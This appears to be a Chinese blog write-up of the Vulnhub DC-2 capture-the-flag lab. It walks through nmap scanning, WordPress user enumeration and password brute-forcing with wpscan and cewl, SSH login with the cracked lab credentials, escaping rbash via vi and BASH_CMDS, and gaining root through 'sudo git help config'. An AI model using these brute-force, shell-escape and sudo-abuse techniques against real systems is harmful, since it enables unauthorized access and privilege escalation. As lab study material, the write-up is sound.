Vulnhub -- DC2靶机渗透

在这里插入图片描述

信息收集

nmap开始扫描
在这里插入图片描述
只开了80端口,直接打开ip地址发现无法打开网页,但是进行了域名的跳转
!这里发现了一个问题,其实还开了一个7744端口,但是使用-sV的方式是扫描不出来的,使用-p-后可以扫描出来
在这里插入图片描述
但是通过-p-扫描不出来是扫描服务

nmap -p- -sV 192.168.241.147 进行版本探测

在这里插入图片描述
发现是ssh服务
在这里插入图片描述
打开etc/hosts文件,添加:

192.168.241.147 dc-2

成功打开
使用kali自带的wpscan,专门针对WordPress的扫描工具

常用选项 :
--update 更新到最新版本  
--url -u 要扫描的`WordPress`站点.  
--force -f 不检查网站运行的是不是`WordPress  
--enumerate -e [option(s)] 枚举 

其他选项: 
u 枚举用户名,默认从1-10 
u[10-20] 枚举用户名,配置从10-20 
p 枚举插件 
vp 只枚举有漏洞的插件 
ap 枚举所有插件,时间较长 
tt 列举缩略图相关的文件 
t 枚举主题信息 
vt 只枚举存在漏洞的主题
at 枚举所有主题,时间较长 
--exclude-content-based 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹 
--config-file -c 
--user-agent -a 
--cookie 
--random-agent -r 使用随机User-Agent 
--follow-redirection 如果目标包含一个重定向,则直接跟随跳转 
--batch 无需用户交互,都使用默认行为 
--no-color 不要采用彩色输出 
--wp-content-dir 
--wp-plugins-dir 
--proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议 
--proxy-auth 
--basic-auth 
--wordlist -w 
--username -U 
--usernames path-to-file指定爆破用户名字典 
--threads -t 
--cache-ttl cache-ttl设置 cache TTL 
--request-timeout request-timeout请求超时时间 
--connect-timeout connect-timeout连接超时时间 
--max-threads max-threads最大线程数 
--throttle milliseconds当线程数设置为1时,设置两个请求之间的间隔 
--help -h 输出帮助信息 
--verbose -v 输出Verbose 
--version 输出当前版本

扫描出用户信息
在这里插入图片描述
根据提示
在这里插入图片描述
说明一般的密码表可能无法爆破成功,再根据cewl说明密码很可能藏在网页当中,使用cewl生成字典
弱口令密码破解.note

wpscan --url http://dc-2 --passwords /root/word.txt

在这里插入图片描述
最后爆破出两个账号

尝试渗透

找到flag2信息
在这里插入图片描述
flag2跟我们说切入点可能不在wordpress上(尝试过msf,但是没有找到太好的攻击脚本,很多都失败了),尝试使用刚才得出的账号密码来进行ssh连接

虽然jerry / adipiscing连不上,但是第二个账号tom / parturient密码连上了
在这里插入图片描述
返回了一个rbash,发现很多指令都用不了
参考一下文章
rbash逃逸大全
RBash - 受限的Bash绕过
参考第二篇文章,我采用了编辑器vi逃逸
在这里插入图片描述
在这里插入图片描述
成功逃逸
在这里插入图片描述
后面才发现可以不逃逸直接vim flag3.txt

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

给了这么一句提示,意思为切换为jerry用户?
(我一开始是通过cd ../来到上级目录,cd到了jerry文件夹,虽然找到了flag4但是却没有git提权的能力,后面才切换用户
在这里插入图片描述
在这里插入图片描述
但是发现这种逃逸方法无法执行su命令,只能采用其他逃逸方式

BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin

然后su jerry,在使用之前爆破出来的密码登录

flag4.txt:

Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now.  :-)
Go on - git outta here!!!!

说没有提示,但是盲猜提权,又提到了git,用git提权?之前没有接触过

提权

网上一搜发现大部分都是做这道题才遇到的,可能git提权不常用
git提权
但是我su -l老师让我输密码,和网上的流程不太一样,只能直接

sudo git help config
输入 !/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

在这里插入图片描述
终于可以(第二条sudo git -p help不行)
在这里插入图片描述
最终在root下找到flag
在这里插入图片描述

posted @ 2021-06-01 20:57  Gh0st_1n_The_Shell  阅读(195)  评论(0编辑  收藏  举报